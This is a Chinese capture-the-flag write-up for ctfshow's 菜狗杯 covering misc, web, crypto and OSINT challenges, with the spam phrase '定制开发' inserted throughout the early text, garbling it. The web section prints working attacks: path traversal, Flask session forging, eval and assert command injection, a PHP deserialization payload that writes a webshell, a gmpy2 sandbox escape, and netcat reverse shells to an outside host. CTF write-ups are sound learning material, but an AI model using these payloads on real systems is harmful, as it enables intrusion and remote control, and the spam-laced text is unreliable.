定制开发果然菜狗杯是教育我们是菜狗的,定制开发我是从第二天开始做的,定制开发这里只做了一个上午,定制开发因为下午网没了,做不了,定制开发做出来的有点少。。。定制开发社工也做出来挺多但是定制开发感觉社工的wp定制开发感觉就没有啥必要写了
目录
misc
签到题
直接放到winhex中,搜索ctf直接得到flag
定制开发损坏的压缩包
定制开发这个直接分离就可以,定制开发给你一个图片,上面就是flag
web
定制开发签到题咱不会。。
web2 c0me_t0_s1gn
f12定制开发打开控制台
定制开发这里已经提示了,定制开发我们输入这个方法
定制开发这里得到了一半flag
定制开发然后跟踪过去看到了另一半flag
定制开发好了解决了
定制开发我的眼里只有$
- <?php
-
- error_reporting(0);
- extract($_POST);
- eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
- highlight_file(__FILE__);
extract定制开发的作用相当于是,你传入a=2,则$a=2。
定制开发我原本的思路是绕过这么多$,定制开发执行别的语句,列如
定制开发这个在本地尝试是可以执行的,但是传入_=a||system("dir")却是不行。。
定制开发所以就使用正常方法吧
传入_=a&a=b&...............e=eval($_GET[1]);定制开发这样往下一直到36个,因为$有36个
可以使用python自带的len定制开发函数获取长度
定制开发不过这种推荐写脚本不建议手搞,定制开发容易乱还慢
python脚本
- a = ""
- b = "_"
- for i in range(36):
- i = i+1
- a += b*i+"="+b*(i+1)+"&"
- if i == 36:
- a = a+b*i+"=eval($_GET[1]);"
- print(a)
php脚本 定制开发这个是官方wp的
- <?php
-
- $str="_=__";
- $res="";
- echo "_=__&";
- for ($i=0; $i < 34; $i++) {
- $str="_".$str."_";
- echo $str."&";
- if ($i==33) {
- echo explode("=", $str)[1]."=eval(\$_GET[1]);";
- }
- }
抽老婆
定制开发这个有一些flask定制开发框架的应该都能做出来
定制开发这里有下载我们要注意
f12定制开发这里我们可以知道他是使用file定制开发这个参数下载的,定制开发我们可以修改一下看看定制开发是否存在一些漏洞
/download?file=/../../../../etc/passwd
定制开发这里发现存在任意下载漏洞的
定制开发再进一步我们尝试下载flag看看
定制开发这里应该是进行了过滤
定制开发这里我们让他报错一下,定制开发看到这里感觉应该是flask框架,定制开发所以我们去下载app.py,定制开发这个应该是他主要的源码,通常app.py都是在app目录下的,定制开发我们往前进两个目录就可以了
/download?file=../../app.py
- # !/usr/bin/env python
- # -*-coding:utf-8 -*-
-
- """
- # File : app.py
- # Time :2022/11/07 09:16
- # Author :g4_simon
- # version :python 3.9.7
- # Description:抽老婆,哇偶~
- """
-
- from flask import *
- import os
- import random
- from flag import flag
-
- #定制开发初始化全局变量
- app = Flask(__name__)
- app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
-
- @app.route('/', methods=['GET'])
- def index():
- return render_template('index.html')
-
-
- @app.route('/getwifi', methods=['GET'])
- def getwifi():
- session['isadmin']=False
- wifi=random.choice(os.listdir('static/img'))
- session['current_wifi']=wifi
- return render_template('getwifi.html',wifi=wifi)
-
-
-
- @app.route('/download', methods=['GET'])
- def source():
- filename=request.args.get('file')
- if 'flag' in filename:
- return jsonify({"msg":"定制开发你想干什么?"})
- else:
- return send_file('static/img/'+filename,as_attachment=True)
-
-
- @app.route('/secret_path_U_never_know',methods=['GET'])
- def getflag():
- if session['isadmin']:
- return jsonify({"msg":flag})
- else:
- return jsonify({"msg":"定制开发你怎么知道这个路径的?定制开发不过还好我有身份验证"})
-
-
-
- if __name__ == '__main__':
- app.run(host='0.0.0.0',port=80,debug=True)
- @app.route('/secret_path_U_never_know',methods=['GET'])
- def getflag():
- if session['isadmin']:
- return jsonify({"msg":flag})
- else:
- return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
-
这里我们知道可以访问/secret_path_U_never_know,然后令isadmin为true就可以了
不过从getwifi()方法我们可以知道isadmin被定义为false,这里我们看一下就知道了
然后分析cookie
这里估计是进行了加密,感觉是base64,尝试解密一下看看
flask_session_cookie的加密脚本,他上面也给了key
下面这个方法不是我那时候做出来的方法,但是感觉更正确一些,就写这一个方法了。
这里伪造cookie
- #!/usr/bin/env python3
- """ Flask Session Cookie Decoder/Encoder """
- __author__ = 'Wilson Sumanang, Alexandre ZANNI'
-
- # standard imports
- import sys
- import zlib
- from itsdangerous import base64_decode
- import ast
-
- # Abstract Base Classes (PEP 3119)
- if sys.version_info[0] < 3: # < 3.0
- raise Exception('Must be using at least Python 3')
- elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
- from abc import ABCMeta, abstractmethod
- else: # > 3.4
- from abc import ABC, abstractmethod
-
- # Lib for argument parsing
- import argparse
-
- # external Imports
- from flask.sessions import SecureCookieSessionInterface
-
- class MockApp(object):
-
- def __init__(self, secret_key):
- self.secret_key = secret_key
-
-
- if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
- class FSCM(metaclass=ABCMeta):
- def encode(secret_key, session_cookie_structure):
- """ Encode a Flask session cookie """
- try:
- app = MockApp(secret_key)
-
- session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
- si = SecureCookieSessionInterface()
- s = si.get_signing_serializer(app)
-
- return s.dumps(session_cookie_structure)
- except Exception as e:
- return "[Encoding error] {}".format(e)
- raise e
-
-
- def decode(session_cookie_value, secret_key=None):
- """ Decode a Flask cookie """
- try:
- if(secret_key==None):
- compressed = False
- payload = session_cookie_value
-
- if payload.startswith('.'):
- compressed = True
- payload = payload[1:]
-
- data = payload.split(".")[0]
-
- data = base64_decode(data)
- if compressed:
- data = zlib.decompress(data)
-
- return data
- else:
- app = MockApp(secret_key)
-
- si = SecureCookieSessionInterface()
- s = si.get_signing_serializer(app)
-
- return s.loads(session_cookie_value)
- except Exception as e:
- return "[Decoding error] {}".format(e)
- raise e
- else: # > 3.4
- class FSCM(ABC):
- def encode(secret_key, session_cookie_structure):
- """ Encode a Flask session cookie """
- try:
- app = MockApp(secret_key)
-
- session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
- si = SecureCookieSessionInterface()
- s = si.get_signing_serializer(app)
-
- return s.dumps(session_cookie_structure)
- except Exception as e:
- return "[Encoding error] {}".format(e)
- raise e
-
-
- def decode(session_cookie_value, secret_key=None):
- """ Decode a Flask cookie """
- try:
- if(secret_key==None):
- compressed = False
- payload = session_cookie_value
-
- if payload.startswith('.'):
- compressed = True
- payload = payload[1:]
-
- data = payload.split(".")[0]
-
- data = base64_decode(data)
- if compressed:
- data = zlib.decompress(data)
-
- return data
- else:
- app = MockApp(secret_key)
-
- si = SecureCookieSessionInterface()
- s = si.get_signing_serializer(app)
-
- return s.loads(session_cookie_value)
- except Exception as e:
- return "[Decoding error] {}".format(e)
- raise e
-
-
- if __name__ == "__main__":
- # Args are only relevant for __main__ usage
-
- ## Description for help
- parser = argparse.ArgumentParser(
- description='Flask Session Cookie Decoder/Encoder',
- epilog="Author : Wilson Sumanang, Alexandre ZANNI")
-
- ## prepare sub commands
- subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
-
- ## create the parser for the encode command
- parser_encode = subparsers.add_parser('encode', help='encode')
- parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
- help='Secret key', required=True)
- parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
- help='Session cookie structure', required=True)
-
- ## create the parser for the decode command
- parser_decode = subparsers.add_parser('decode', help='decode')
- parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
- help='Secret key', required=False)
- parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
- help='Session cookie value', required=True)
-
- ## get args
- args = parser.parse_args()
-
- ## find the option chosen
- if(args.subcommand == 'encode'):
- if(args.secret_key is not None and args.cookie_structure is not None):
- print(FSCM.encode(args.secret_key, args.cookie_structure))
- elif(args.subcommand == 'decode'):
- if(args.secret_key is not None and args.cookie_value is not None):
- print(FSCM.decode(args.cookie_value,args.secret_key))
- elif(args.cookie_value is not None):
- print(FSCM.decode(args.cookie_value))
python flask_session_cookie_manager3.py encode -t "{'isadmin':True}" -s "tanji_is_A_boy_Yooooooooooooooooooooo!"
cookie: session=eyJpc2FkbWluIjp0cnVlfQ.Y3GCCA.kFkoRct0cSapLc4RbeUuEybgZ_M
一言既出
- <?php
- highlight_file(__FILE__);
- include "flag.php";
- if (isset($_GET['num'])){
- if ($_GET['num'] == 114514){
- assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
- echo $flag;
- }
- }
这里我们分析一下代码,通过num传入一串数字,首先要等于114514,之后经过intval函数以后要等于1919810
因为是弱等于我们可以有操作空间
这里我们使用114514+1805296,不过我们要使用url编码一下
- ?num=114514%2b1805296 //这个是我自己使用的
- ?num=114514);(19199810
- 不过看了出题人的wp.....
- ?num=114514)==1%20or%20system(%27ls%27);%23 这样也行..属实是没想到
这里我们主要用的是弱等于匹配字符就不匹配了,就匹配字符前面的数字,但是intval是全部在里面,他会进行运算的。
驷马难追
这个和上面就加了一个过滤
-
- function check($str){
- return !preg_match("/[a-z]|\;|\(|\)/",$str);
- }
使用?num=114514%2b1805296 就可以了
没想到自己想出来的这一个方法把两个都做了,正好是两个都可以的方法。
TapTapTap
感觉就是让你打点
开始打点的时候f12控制台这里出现了这些,我们跟踪一下
往下看发现了可疑的字符串
解密知道了flag的位置,访问得到flag
Webshell
就是一个简单的序列化
- <?php
- error_reporting(0);
-
- class Webshell {
- public $cmd = 'echo "Hello World!"';
-
- public function __construct() {
- $this->init();
- }
-
- public function init() {
- if (!preg_match('/flag/i', $this->cmd)) {
- $this->exec($this->cmd);
- }
- }
-
- public function exec($cmd) {
- $result = shell_exec($cmd);
- echo $result;
- }
- }
-
- if(isset($_GET['cmd'])) {
- $serializecmd = $_GET['cmd'];
- $unserializecmd = unserialize($serializecmd);
- $unserializecmd->init();
- }
- else {
- highlight_file(__FILE__);
- }
-
- ?>
这里我们要注意的是shell_exec是没有回显的,那时候我看他进行了赋值还输出了,以为可以看到回显的,可是没有。
这里我们写一马进去看看
- <?php
- class Webshell{
- public $cmd = 'echo "<?php eval(\$_POST[1]);?>" > 1.php';
- }
- echo serialize(new Webshell());
注意这里的木马是要加一个\的,因为我要对哪里进行转义,要不然写不了马,这里演示一下
这里是没有进行转义的马,他的里面是空的
这是转义的马,才是可以使用的木马
这里我们传进去
?cmd=O:8:"Webshell":1:{s:3:"cmd";s:40:"echo "<?php eval(\$_POST[1]);?>" > 1.php";}
这里访问的是出现错误的没关系的
直接用蚁剑连接
flag就在这里
化零为整
- <?php
-
- highlight_file(__FILE__);
- include "flag.php";
-
- $result='';
-
- for ($i=1;$i<=count($_GET);$i++){
- if (strlen($_GET[$i])>1){
- die("你太长了!!");
- }
- else{
- $result=$result.$_GET[$i];
- }
- }
-
- if ($result ==="大牛"){
- echo $flag;
- }
这里我们分析一下,他这里是进行了一个判断长度的,我们一次只能传一个
我原本使用的是
?1=大&2=牛
这里显示我们 太长了!!
我就进行了一次url加密得到 %E5%A4%A7%E7%89%9B ,忘记了中文url编码后有很多字符
这里我们传url编码后的东西,不用拆的太短,%E5这种就代表一个字符了
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
这样就可以了
无一幸免
这里不知道是不是出题人的问题,只要传东西了,都直接给flag了
?0=
无一幸免_FIXED
- <?php
- include "flag.php";
- highlight_file(__FILE__);
-
- if (isset($_GET['0'])){
- $arr[$_GET['0']]=1;
- if ($arr[]=1){
- die("nonono!");
- }
- else{
- die($flag);
- }
- }
- ?>
这里讲解一下,我们通过参数0传入东西,会被当做数组的索引,然后赋值为1,通过判断,我尝试使用字符或者字母,但是发现都没有用,这里猜测,是被当成ascii码了,这样子看似是永远都是真的判断,字母获得flag呢。
这里我们整理一下,字符和字符没有用,那么剩下的数字,还有什么,相信很多人都会想到整数溢出。
这个也是关于整数溢出的,没有看懂可以看下面茶歇区
这里也是要注意int64的取值范围int64 : -9223372036854775808 to 9223372036854775807
首先我们是通过get方式使用参数0传值
传入的值必须在这个范围内,这里用代码说明一下
- <?php
- $a = 9223372036854775807;
- $b = 9223372036854775808;
- echo $a;
- echo "\";
- echo $b;
你会发现这里仅仅只是大了一个1而已,但是他们的输出已经是不一样了,这里我们要知道一个知识点隐式转换,什么是隐式转换,就是当就是当我们赋值的这个数超过它本身这个类型的范围,就会自动变成范围更大的类型,这里就是由整数型变成了浮点型。
- //回显
- 9223372036854775807
- 9.2233720368548E+18
当然这里是说明一下,和题目也是有一丁点关系吧。
我们使用的是9223372036854775807,这里经过判断的时候,我们看看他是怎么输出的。
- <?php
-
- $a[0]=1;
- echo $a[]=1;
-
- $b[9223372036854775807]=1;
- echo $b[]=1;
- //回显
- 1
-
- ...报错...
-
- //既然是报错,可能等于1呢
所以payload:?0=9223372036854775807 //果然回显也是有报错的
传说之下(雾)
贪吃蛇,通常这种都和分数是有关系的。
开了一把,用f12拦包没有什么东西,就直接去看看js文件了
这里我们看game.js
直接搜score,就分数
找到和分数相关的了,看看他是那个方法的
Underophidian,我们去搜一下
他在这里被调用了,所以我们直接使用Game就可以了。
这里我们要让游戏开始在搞,然后让蛇在吃到一个苹果就可以了
js不怎么会,反正我思路是这样的,哈哈
超群(后面补的)
拦包发现三个参数,感觉主要应该是number1和number2这两个参数
随便修改一下number2看一下
直接保存,然后我们发现应该是flask的框架,进一步推测我们可以使用一下python的东西,来进行命令执行之类的使用。
修改一下number1发现返回了Error,猜测number1是有过滤的,number2是没有过滤的,尝试直接传入命令进行执行
这里先使用的是__import__('os').system("dir");这个相当于
__import__('os').system("dir") //发现并没有执行好像
只回显了 这个,猜测是像exec函数那样执行了但是没有回显
这种我们就使用对付exec函数的方法对付他,这里我们使用花生壳创建一个公网
对应主机8085端口
然后这里先监听端口
这里传入
__import__('os').system("nc 597594c76g.goho.co 59019 -e /bin/sh")
算力升级 (后面补的)
这个是参考yu22x师傅,这个师傅很厉害的。
这里我之前有点思路,但是到拼接哪里有点断了,来师傅这里考考经。
先进去随便试试,看到旁边有点源码直接进去看看了。
这里发现他是可以传输字母的,但是必须是gmpy2库中的
- code=request.form.get('code')
- for item in pattern.findall(code):#从code里把单词拿出来
- if not re.match(r'\d+$',item):#如果不是数字
- if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
- return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
- try:
- result=eval(code)
我们去gmpy2库中看看
__builtins__应该是有eval的,看一下
用脚本查一下
我们看到是有eval的
但是到这里有点断了,没有想到用拼接,还是参考的yu22x师傅的
这里是利用gmpy2模块的函数进行拼接
例如这样
yu22x师傅是使用
gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])') gmpy2.__builtins__['eval'](eval(request.args["1"])) 然后用get的方式用1传输__import__('os').popen('ls').read()官方的wp是使用
gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('c_div'[1]+'c_div'[1]+'ai'[1]+'agm'[2]+'cmp'[2]+'cos'[1]+'erf'[1]+'cot'[2]+'c_div'[1]+'c_div'[1]+"("+"'"+'cos'[1]+'cos'[2]+"'"+")"+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")") gmpy2.__builtins__['eval'](__import__('os').popen('cat /flag').read())感觉确实官方的麻烦一点,但是官方提供了一个脚本可以供大家参考
s="__import__('os').popen('cat /flag').read()" import gmpy2 payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]](" for i in s: if i not in "/'(). ": temp_index=0 temp_string='x'*20 for j in dir(gmpy2): if j.find(i)>=0: if len(j)<len(temp_string): temp_string=j temp_index=j.find(i) payload+=f'\'{temp_string}\'[{temp_index}]+' else: payload+=f'\"{i}\"+' payload=payload[:-1]+')' print(payload)
这里我们使用的是 yu22x师傅的方法,注意传输的时候尽量不要使用burpsuite,因为它的+代表空格。
不过这里我还是喜欢用反弹shell,花生壳创建一个公网
然后我们 传输
- POST: code=gmpy2.__builtins__['invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]]('invert'[3]+'invert'[2]+'ai'[0]+'lcm'[0]+'('+'invert'[4]+'invert'[3]+'f2q'[2]+'fsum'[2]+'exp'[0]+'fms'[2]+'isqrt'[-1]+'.'+'ai'[0]+'invert'[4]+'agm'[1]+'fms'[-1]+'["1"])')
- GET: /tiesuanzi?1=__import__('os').system('nc 597594c76g.goho.co 59019 -e /bin/sh')
- 当然这里不喜欢反弹shell,也可以直接使用__import__('os').popen('cat /flag').read()
easyPytHon_P
有点后悔为什么没有看这一题,挺简单的没有做
- from flask import request
- cmd: str = request.form.get('cmd')
- param: str = request.form.get('param')
- # ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
- import subprocess, os
- if cmd is not None and param is not None:
- try:
- tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
- print('Done!')
- except subprocess.TimeoutExpired:
- print('Timeout!')
- except:
- print('Error!')
- else:
- print('No Flag!')
这里主要的地方就是
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
因为subprocess模块我没有接触过去查了一下
这样子,详细大家就比较清楚了,这里可控的参数有cmd和param
注意这里request.form.get,虽然显示是get,但是它并不是get方式传输,是用post传输的
- cmd=ls¶m=/ //发现根目录中并没有flag
- cmd=ls¶m=. //查看当前目录发现了flag.txt
- cmd=cat¶m=flag.txt //得到flag
遍地飘零
- <?php
- include "flag.php";
- highlight_file(__FILE__);
-
- $zeros="000000000000000000000000000000";
-
- foreach($_GET as $key => $value){
- $$key=$$value;
- }
-
- if ($flag=="000000000000000000000000000000"){
- echo "好多零";
- }else{
- echo "没有零,仔细看看输入有什么问题吧";
- var_dump($_GET);
- }
-
- 没有零,仔细看看输入有什么问题吧array(0) { }
确实是简单的变量覆盖
这里我们可以自己搭一个环境看一下
我们这里发现$_GET只是输出一个数组,但是我们可以简单的想一想,$_GET也有变量符号呀,我们为什么不能吧$_GET当一个变量呢,而不是一种传输的手段。
这里我们本地环境在测试一下。
好了这里输出flag了,题目环境也是可以的
?_GET=flag
茶歇区
这个说实在,我到现在一直还是有一些懵
首先关于整数溢出的漏洞我们要知道这些
uint8: 0 to 255
uint16 : 0 to 65535
uint32 : 0 to 4294967295
uint64 : 0 to 18446744073709551615
int8: -128 to 127
int16 : -32768 to 32767
int32 : -2147483648 to 2147483647
int64 : -9223372036854775808 to 9223372036854775807
通常我们接触的都是int64,这次应该也是因为这里显示就是int64最大值
为什么有些表示我输入已经大于9223372036854775807,很多了呀,为什么还是0,这种整数溢出的题目,我接触的其实是比较少的,反正我的理解就是数这个位数的,就是19位的数字,不能太大了,这时候有人问了,我输了19位的比他大为什么还是不行,因为他是*10的我们输入一个18位数就可以了,例如932337203685477580、942337203685477582都可以,记住要输两次就可以了
其他可能是因为,*1导致溢出不了
那个*3也是可以的,只要*3之后大于9223372036854775807就可以了,列如3333333333333333333 都可以
注意:都要输两次
小舔田?
很简单的pop链,甚至所有东西都帮你触发好了。。。
- <?php
- include "flag.php";
- highlight_file(__FILE__);
-
- class Moon{
- public $name="月亮";
- public function __toString(){
- return $this->name;
- }
-
- public function __wakeup(){
- echo "我是".$this->name."快来赏我";
- }
- }
-
- class Ion_Fan_Princess{
- public $nickname="牛夫人";
-
- public function call(){
- global $flag;
- if ($this->nickname=="小甜甜"){
- echo $flag;
- }else{
- echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\";
- echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\";
- }
- }
-
- public function __toString(){
- $this->call();
- return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
- }
- }
-
- if (isset($_GET['code'])){
- unserialize($_GET['code']);
-
- }else{
- $a=new Ion_Fan_Princess();
- echo $a;
- }
-
-
- 以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家牛夫人。 你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊! ----牛夫人
我们先看头,是以get方式通过code传入,再看尾在Ion_Fan_Princess类中,call方法中,我只要修改nickname为小甜甜就可以了,然后找一找,call需要下面toString方法触发,然后看看那里可以触发toString,我们发现Moon类中可以触发,然后Moon类中的方法,使用unserialize就可以触发。。。
真的只要稍微改一下东西就可以了,真的感觉出题人好辛苦
- <?php
- class Moon{
- public $name="月亮";
- public function __construct(){
- $this -> name = new Ion_Fan_Princess();
- }
- }
-
- class Ion_Fan_Princess{
- public $nickname="小甜甜";
-
- public function call(){
- global $flag;
- if ($this->nickname=="小甜甜"){
- echo "1";
- }else{
- echo "2";
- }
- }
-
- public function __toString(){
- $this->call();
- return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
- }
- }
- $a = new Moon();
- echo serialize($a);
?code=O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}
LSB探姬(后面补的)
这里我们先看源码,主要的地方在这里
- f = request.files['file']
- f.save('upload/'+f.filename)
- cmd="python3 tsteg.py upload/"+f.filename
- result=os.popen(cmd).read()
- data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
- return jsonify(data)
他是会运行这个命令的随便传一个拦一下包看一下
这里是执行了ls,我们直接cat flag
Is_Not_Obfuscate
真的是慢慢补,又忘记了写了。。。
这里我们进来就看到这个,但是经过尝试使用数字字母之类,都没有用,这里看看源代码。
这里提示让我们提交一个串加密的代码,然后这里我们看到了,两个文件lib.php和robots.txt。
这里访问lib.php但是没有成功,但是访问robots.txt,我们发现了。
这里访问/lib.php?flag=0,但是得到一片空白,但是0是什么,经常做题的,肯定会想到false,这里我们使用1,1其实也是代表true,访问/lib.php?flag=1,得到一串代码。
eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT
这里我们得到这样一串加密后的东西,但是不知道是什么,看似是有一些像base64的,但是这里想起来上面他们是可以通过input传入一串加密的字符串的,在主页面拦包或者使用hackber的时候,就会发现他有三个参数,action、input、output,这里我们通过input传进去发现没有东西,修改其他参数的时候,反弹回来了hacker。
这时候就有一些懵逼了,之后去查看了官方的wp,额,action要设置成test,这个怎么说,真的就靠猜吗。。。。
然后我们得到了源代码。
- header("Content-Type:text/html;charset=utf-8");
- include 'lib.php';
- if(!is_dir('./plugins/')){
- @mkdir('./plugins/', 0777);
- }
- //Test it and delete it !!!
- //测试执行加密后的插件代码
- if($_GET['action'] === 'test') {
- echo 'Anything is good?Please test it.';
- @eval(decode($_GET['input']));
- }
-
- ini_set('open_basedir', './plugins/');
- if(!empty($_GET['action'])){
- switch ($_GET['action']){
- case 'pull':
- $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
- echo "pull success";
- break;
- case 'push':
- $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
- echo "push success";
- break;
- default:
- die('hacker!');
- }
- }
这里我们分析一下
主要是看下嘛,因为他是有可以执行恶意代码的地方的,通过观察这里当action为push的时候这里会将传入的东西进行加密,然后写入一个文件,文件就是加密名。
加密就是例如这样我们要执行system("ls"); 然后加密就是这样解密的
echo md5('system("ls");'.'youyou');
然后为pull的时候就会解密里面的内容然后执行恶意代码,获得flag。
通过不懈的努力,我最终选择了写脚本。。。因为手搞有点乱了。。。
- import requests
- import hashlib
- import re
-
-
- def getflag(comant):
- payload = f"system('{comant}');"
- payload_sale = hashlib.md5((payload + "youyou").encode()).hexdigest()
-
- s = requests.session()
- url = "http://c08ff946-dc88-458f-8889-5cd70375829c.challenge.ctf.show/"
- # 这里要替换成自己的网址
- url2 = url + f'?action=push&output={payload}'
- url1 = url + f"?action=pull&input={payload_sale}"
-
- s.get(url=url2)
- a = s.get(url=url1).text
- b = (re.findall('\w.*?pull', a, re.S)[0]).replace('pull', '')
- print(b)
-
-
- if __name__ == "__main__":
- while (1):
- a = input("请输入你要执行的命令:")
- getflag(a)
OK,获得了flag
CRYPTO
感觉密码学前三题白送的
密码签到
唯一会做的签到题,这才是签到题呀,直接16进制转文本
Caesar
这个名字就是提示了呀,名字都是凯撒了。。
0x36d
一看就知道是那种表情包解密,然后,他这里提示标题就是密码
但是解密失败,但是0x36d是16进制呀
使用877解密成功
@bash
感觉和buu一题还是攻防世界的一题挺像的,我们直接
这里小写提交不了的,用python转成大写
OSINT
社工就讲一题吧,这个有jk看嘿嘿
J某的过往1
像这种图就别想着用百度识图之类的了,不过这里提示已经很多了
半次元是一个网站,可以搜到的
这个找不到我们搜索,天竹子
往下翻
有了
看看评论
哦了